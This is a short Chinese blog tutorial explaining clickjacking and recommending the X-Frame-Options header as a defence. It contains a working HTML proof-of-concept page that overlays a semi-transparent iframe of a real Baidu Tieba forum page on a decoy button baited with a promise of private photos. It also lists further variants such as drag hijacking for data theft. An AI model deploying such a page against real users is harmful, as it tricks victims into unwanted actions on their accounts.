版权声明:sh0rk https://blog.csdn.net/Home_pig/article/details/83683910
什么是点击劫持?
点击劫持(ClickJacking),又称“UI-覆盖攻击”,通过覆盖不可见的框架误导受害者进行点击而造成的攻击行为。其本质是一种视觉欺骗。
利用方法
利用iframe或其他标签的属性构造一个精心构造的页面,诱导受害者进行点击。
<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<head>
<title>点击劫持</title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:20;
filter:alpha(opacity=20); /* IE */
-moz-opacity:0.2; /* Moz + FF */
opacity: 0.2; /* 支持CSS3的浏览器(FF 1.5也支持)*/
position:absolute;
z-index:2;
}
button{
position:absolute;
top: 355px;
left: 555px;
z-index: 1;
width: 72px;
height: 26px;
}
</style>
</head>
<body>
某XXX美女隐私照片儿
<button>查看</button>
<iframe src="http://tieba.baidu.com/f?kw=学习"></iframe>
</body>
</html>
如图,精选构造页面,通过诱导受害者进行点击
点击后提示加入成功,成功完成点击劫持。上面的示例只是半透明帮助理解点击劫持,实际攻击者进行攻击时透明设置为0,受害者是很难察觉出嵌套了其他的页面的。如下图。
进阶(本质上还是UI覆盖攻击,只是实现手段不一样)
- Flash点击劫持
- 图片覆盖攻击(XSIO)
- 拖拽劫持,主要用于数据窃取
- 触屏劫持(TapJacking)
防御
X-FRAME-OPTIONS是目前最可靠的方法。在返回头中设置 X-FRAME-OPTIONS。